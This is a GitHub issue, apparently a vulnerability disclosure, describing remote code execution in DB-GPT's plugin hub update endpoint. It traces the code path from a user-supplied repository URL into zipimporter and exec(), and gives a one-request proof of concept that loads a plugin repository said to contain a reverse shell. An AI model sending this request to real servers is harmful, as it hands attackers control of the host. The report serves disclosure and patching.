Skip to content

[SECURITY] RCE in /api/v1/agent/hub/update endpoint. #2869

@0gur1

Description

@0gur1

Description

The /api/v1/agent/hub/update endpoint is used to update plugins from Github url. Source code of plugins is directly passed to zipimporter.load_module without any validation. Attackers can exploit it by uploading malicious plugins to github and pass the url to /api/v1/agent/hub/update. Once the malicious code is executed, attackers will gain control over the DB-GPT server.

Root cause

The /api/v1/agent/hub/update endpoint gains user input url, branch and authorization to refresh_hub_from_git at [1].
After downloading the plugins to self. temp_hub_file_path, it will scan plugins at [2] with scan_plugins, traverse all the zip files and call scan_plugin_file for each zip file at [3].

In scan_plugin_file, it extracts all the __init__.py from zip file with inspect_zip_for_module and puts them into moduleList at [4].

For each __init__.py in moduleList, it will load corresponding modules with load_module of zipimporter at [5].

And load_module will load plugins by calling exec() to execute python byte code at [6].

#packages\dbgpt-serve\src\dbgpt_serve\agent\hub\controller.py#L62
@router.post("/v1/agent/hub/update", response_model=Result[str])
async def plugin_hub_update(update_param: PluginHubParam = Body()):
    …
    try:
        branch = (
            update_param.branch
            if update_param.branch is not None and len(update_param.branch) > 0
            else "main"
        )
        authorization = (
            update_param.authorization
            if update_param.branch is not None and len(update_param.branch) > 0
            else None
        )
        plugin_hub.refresh_hub_from_git(update_param.url, branch, authorization) #-->【1】


# packages\dbgpt-serve\src\dbgpt_serve\agent\hub\plugin_hub.py #L227
def refresh_hub_from_git(
        self,
        github_repo: str = None,
        branch_name: str = "main",
        authorization: str = None,
    ):
        update_from_git(
            self.temp_hub_file_path, github_repo, branch_name, authorization
        ) 
git_plugins = scan_plugins(self.temp_hub_file_path)#-->【2】

# packages\dbgpt-core\src\dbgpt\agent\resource\tool\autogpt\plugins_util.py#L126
def scan_plugins(
    plugins_file_path: str, file_name: str = "", debug: bool = False
):
	for plugin_path in plugins_path.glob("*.zip"):
        loaded_plugins.extend(scan_plugin_file(plugin_path)) #-->【3】

# packages\dbgpt-core\src\dbgpt\agent\resource\tool\autogpt\plugins_util.py#L78
def scan_plugin_file(file_path, debug: bool = False) -> List["AutoGPTPluginTemplate"]:
    """Scan a plugin file and load the plugins."""if moduleList := inspect_zip_for_modules(str(file_path), debug): #-->【4】
        for module in moduleList:
            plugin = Path(file_path)
            module = Path(module)  # type: ignore
            logger.debug(f"Plugin: {plugin} Module: {module}")
            zipped_package = zipimporter(str(plugin))
            zipped_module = zipped_package.load_module( #-->【5】
                str(module.parent)  # type: ignore
            )


#zipimport
def load_module(self, fullname):
        code, ispackage, modpath = _get_module_code(self, fullname)
        …
        try:
           …
           exec(code, mod.__dict__) #-->【6】

PoC

Reverse shell code is added to DB-GPT-Plugins in my repo.

Image

Then send the package below.

POST /api/v1/agent/hub/update HTTP/1.1
Host: 172.21.0.3:5670
Content-Type: application/json
Connection: close
Content-Length: 54

{
 "url":"https://github.com/0gur1/DB-GPT-Plugins"
}

Result:
Image

Here is the reproduce video: https://drive.google.com/file/d/1yRp0uZTMdakitkX222M22iREPRFMZACi/view?usp=sharing

Credit

This vulnerability was discovered by Tian Yu from ADLab of VenusTech

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions